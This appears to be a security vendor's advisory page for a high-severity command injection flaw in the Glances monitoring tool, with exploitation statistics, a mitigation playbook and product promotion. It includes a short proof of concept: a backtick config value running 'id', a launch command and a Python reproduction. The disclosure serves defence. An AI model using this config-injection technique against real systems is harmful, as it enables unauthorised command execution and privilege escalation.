GHSA-qhj7-v7h7-q4c7 is a high-severity (CVSS 7.8) OS Command Injection vulnerability in glances. 1 public exploit reference exists, so weaponization risk is real. A fix is available for glances — see the affected versions and patch details below.
Glances Vulnerable to Command Injection via Dynamic Configuration Values
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qhj7-v7h7-q4c7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qhj7-v7h7-q4c7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
glancesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands.
If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.
Details
-
Glances loads configuration files from user, system, or custom paths during initialization.
-
When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks.
File: glances/config.py
match = self.re_pattern.findall(ret)
for m in match:
ret = ret.replace(m, system_exec(m[1:-1]))
-
The extracted string is passed directly to system_exec().
File: glances/globals.py
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')
- The command is executed and its output replaces the original configuration value.
This execution occurs automatically whenever the configuration value is read.
Affected Files
glances/config.py — dynamic configuration parsing
glances/globals.py — command execution helper
Proof of Concept (PoC)
Scenario: Arbitrary command execution via configuration value
Step 1 — Create malicious configuration file
/tmp/glances.conf
add below txt on the file
[outputs]
url_prefix = 'id'
Step 2 — Launch Glances with custom configuration
glances -C /tmp/glances.conf
Step 3 — Observe behavior
When Glances reads the configuration:
- The command inside backticks is executed
- Output replaces the configuration value
- Execution occurs without user interaction
Reproduce using Python code
import subprocess
import re
def system_exec(command):
return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()
value = "`id`"
pattern = re.compile(r'(`.+?`)')
for m in pattern.findall(value):
print(system_exec(m[1:-1]))
Output:
uid=1000(user) gid=1000(user) groups=1000(user)
Impact
Arbitrary Command Execution
Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.
Potential Privilege Escalation
If Glances runs as a privileged service (e.g., root), commands execute with those privileges.
Possible scenarios include:
- Misconfigured file permissions allowing unauthorized config modification
- Shared systems where configuration directories are writable by multiple users
- Container environments with mounted configuration volumes
- Automated configuration management systems that ingest untrusted data
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | glances | all versions | 4.5.3pip install --upgrade 'glances==4.5.3' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
glances 4.5.2 - command injection
by best.sell · May 13, 2026
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update glances to 4.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qhj7-v7h7-q4c7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qhj7-v7h7-q4c7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qhj7-v7h7-q4c7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qhj7-v7h7-q4c7 in your dependencies?
O3 Security finds GHSA-qhj7-v7h7-q4c7 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.